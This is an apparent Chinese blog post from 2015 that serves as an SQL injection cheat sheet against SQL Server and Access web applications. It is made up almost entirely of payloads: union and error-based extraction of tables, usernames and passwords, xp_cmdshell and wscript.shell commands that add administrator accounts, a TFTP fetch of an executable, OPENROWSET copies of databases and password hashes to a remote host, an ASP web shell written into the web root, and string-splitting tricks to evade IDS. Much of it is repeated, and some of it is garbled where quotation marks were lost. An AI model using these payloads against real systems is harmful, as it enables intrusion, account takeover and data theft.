SQL注入

Posted on 2015-08-04 17:07  勿忧无虑  阅读(208)  评论(0)    收藏  举报

Sql注入总结(最早源于'or'1'='1)

  最重要的表名:

  select * from sysobjects

  sysobjects ncsysobjects

  sysindexes tsysindexes

  syscolumns

  systypes

  sysusers

  sysdatabases

  sysxlogins

  sysprocesses

  最重要的一些用户名(默认sql数据库中存在着的)

  public

  dbo

  guest(一般禁止,或者没权限)

  db_sercurityadmin

  ab_dlladmin

  一些默认扩展

  xp_regaddmultistring

  xp_regdeletekey

  xp_regdeletevalue

  xp_regenumkeys

  xp_regenumvalues

  xp_regread

  xp_regremovemultistring

  xp_regwrite

  xp_availablemedia 驱动器相关

  xp_dirtree 目录

  xp_enumdsn ODBC连接

  xp_loginconfig 服务器安全模式信息

  xp_makecab 创建压缩卷

  xp_ntsec_enumdomains domain信息

  xp_terminate_process 终端进程,给出一个PID

  例如:

  sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'

  exec xp_webserver

  sp_dropextendedproc 'xp_webserver'

  bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar

  ' group by users.id having 1=1-

  ' group by users.id, users.username, users.password, users.privs having 1=1-

  '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-

  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-

  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-

  union select TOP 1 login_name FROM logintable-

  union select TOP 1 password FROM logintable where login_name='Rahul'--

  构造语句:查询是否存在xp_cmdshell

  ' union select @@version,1,1,1--

  and 1=(select @@VERSION)

  and 'sa'=(select System_user)

  ' union select ret,1,1,1 from foo--

  ' union select min(username),1,1,1 from users where username > 'a'-

  ' union select min(username),1,1,1 from users where username > 'admin'-

  ' union select password,1,1,1 from users where username = 'admin'--

  and user_name()='dbo'

  and 0<>(select user_name()-

  ; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add'

  and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')

  ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

  1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')

  and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否

  and 0<>(select top 1 paths from newtable)-- 暴库大法

    and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)

  创建一个虚拟目录E盘:

  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e:/"'

  访问属性:(配合写入一个webshell)

  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse'

  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

  依次提交 dbid = 7,8,9.... 得到更多的数据库名

  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin

  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。

  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id

  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id',...)) 来暴出其他的字段

  and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

  依次可以得到密码。。。。。假设存在user_id username ,password 等字段

  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

  (union语句到处风靡啊,access也好用

  暴库特殊技巧::%5c='/' 或者把/和/ 修改%5提交

  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名

  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))

  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值

  and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

 http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--

 http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1

  ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)

 http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--

  得到了web路径d:/xxxx,接下来:

 http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--

 http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--

  传统的存在xp_cmdshell的测试过程:

  ;exec master..xp_cmdshell 'dir'

  ;exec master.dbo.sp_addlogin hax;--

  ;exec master.dbo.sp_password null,hax,hax;--

  ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--

  ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

  ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--

  exec master..xp_servicecontrol 'start', 'schedule'

  exec master..xp_servicecontrol 'start', 'server'

  http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5258 /add'

  ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add'

 http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-

  declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'

  declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'

  ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'

  如果被限制则可以。

  select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

  传统查询构造:

  select * FROM news where id=... AND topic=... AND .....

  admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'

  select 123;--

  ;use master;--

  :a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。

  'and 1<>(select count(email) from [user]);--

  ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--

  说明:

  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

  通过查看ffff的用户资料可得第一个用表叫ad

  然后根据表名ad得到这个表的ID

  ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

  象下面这样就可以得到第二个表的名字了

  ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--<

BR>  ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--

  ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

  ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--

  exec master..xp_servicecontrol 'start', 'schedule'

  exec master..xp_servicecontrol 'start', 'server'

  sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'

  扩展存储就可以通过一般的方法调用:

  exec xp_webserver

  一旦这个扩展存储执行过,可以这样删除它:

  sp_dropextendedproc 'xp_webserver'

  insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

  insert into users values( 667,123,123,0xffff)-

  insert into users values ( 123, 'admin''--', 'password', 0xffff)-

  ;and user>0

  ;;and (select count(*) from sysobjects)>0

  ;;and (select count(*) from mysysobjects)>0 //为access数据库

  -----------------------------------------------------------通常注射的一些介绍:

  A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

  select * from 表名 where 字段=49

  注入的参数为ID=49 And [查询条件],即是生成语句:

  select * from 表名 where 字段=49 And [查询条件]

  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:

  select * from 表名 where 字段='连续剧'

  注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:

  select * from 表名 where 字段='连续剧' and [查询条件] and ''=''

  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

  select * from 表名 where 字段like '%关键字%'

  注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:

  select * from 表名 where字段like '%' and [查询条件] and '%'='%'

  ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0

  sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

  ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0

  从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  post.htm内容:主要是方便输入。

  枚举出他的数据表名:

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

  这是将第一个表名更新到aaa的字段处。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二

 

表,^^^^^^一个个的读出,直到没有为止。

  读字段是这样:

  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  --------------------------------高级技巧:

  [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]

  select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

  通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

  [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

  update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]

  绕过IDS的检测[使用变量]

  declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'

  declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'

  1、 开启远程数据库

  基本语法

  select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

  参数: (1) OLEDB Provider name

 

 

 

 

 

 

 

1.判断有无注入点

; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users. id having 1=1--

group by users. id,users.username,users.password,users.privs having 1=1--

; insert into users values( 666,attacker,foobar,0xffff )--

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

(login_id)-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

(login_id,login_name)-

UNION SELECT TOP 1 login_name FROM logintable-

UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--

看服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and sa=(SELECT System_user)--

and user_name()=dbo--

and 0<>(select user_name()--

看xp_cmdshell是否删除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--

xp_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING自己实验

;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号

;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe

/c net user jiaoniang$ 1866574 /add--

创建一个虚拟目录E盘:

;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--

访问属性:(配合写入一个webshell)

declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊技巧::%5c=\ 或者把/和\ 修改%5提交

and 0<>(select top 1 paths from newtable)--

得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

(id,...)) 来暴出其他的字段

and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到密码。假设存在user_id username,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1 swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread

@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,

values=@testOUTPUT insert into paths(path) values(@test)--

;use ku1;--

;create table cmd (str image);-- 建立image类型的表cmd

存在xp_cmdshell的测试过程:

;exec master..xp_cmdshell dir

;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号

;exec master.dbo.sp_password null,jiaoniang$,1866574;--

;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add;--

;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--

exec master..xp_servicecontrol start,schedule 启动服务

exec master..xp_servicecontrol start,server

; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32

\cmd.exe /c net user jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe

/c net localgroup administrators jiaoniang$ /add

; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat

如果被限制则可以。

select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

查询构造:

SELECT * FROM news WHERE id=... AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>

select 123;--

;use master;--

:a or name like fff%;-- 显示有一个叫ffff的用户哈。

and 1<>(select count(email) from [user]);--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

;update [users] set email=(select top 1 count(id) from password) where name=ffff;--

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char

(0x69)+char(0x73),0xffff)--

insert into users values( 667,123,123,0xffff)--

insert into users values ( 123,admin--,password,0xffff)--

;and user>0

;and (select count(*) from sysobjects)>0

;and (select count(*) from mysysobjects)>0 //为access数据库

枚举出数据表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>;刚才得到的表名)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>;你得到的表名 查出一个加一个])

[ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

开启远程数据库

基本语法

select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )

参数: (1) OLEDB Provider name

其中连接字符串参数可以是任何端口用来连接,比如

select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table

复制目标主机的整个数据库insert所有远程表到本地表。

基本语法:

insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from

table2

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)

select * from user_database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)

select * from user_database.dbo.syscolumns

复制数据库:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2

复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select

* from database.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。

遍历目录的方法:先创建一个临时表:temp

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中

;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容

;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--

;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--

;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC)

写入表:

语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--

语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--

语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--

语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--

语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

语句9:and 1=(SELECT IS_MEMBER(db_owner));--

把路径写到表中去:

;create table dirs(paths varchar(100),id int)--

;insert dirs exec master.dbo.xp_dirtree c:\--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--

;create table dirs1(paths varchar(100),id int)--

;insert dirs exec master.dbo.xp_dirtree e:\web--

and 0<>(select top 1 paths from dirs1)--

把数据库备份到网页目录:下载

;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)

and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1)

-=-wscript.shellexample -=-

declare @o int

exec sp_oacreate wscript.shell,@o out

exec sp_oamethod @o,run,NULL,notepad.exe

; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--

declare @o int,@f int,@t int,@ret int

declare @line varchar(8000)

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1

exec @ret = sp_oamethod @f,readline,@line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f,readline,@line out

end

declare @o int,@f int,@t int,@ret int

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1

exec @ret = sp_oamethod @f,writeline,NULL,

<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

declare @o int,@ret int

exec sp_oacreate speech.voicetext,@o out

exec sp_oamethod @o,register,NULL,foo,bar

exec sp_oasetproperty @o,speed,150

exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05

; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec

sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--

xp_dirtree适用权限PUBLIC

exec master.dbo.xp_dirtree c:\

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100),id int)

建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_dirtree c:\

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果.

 

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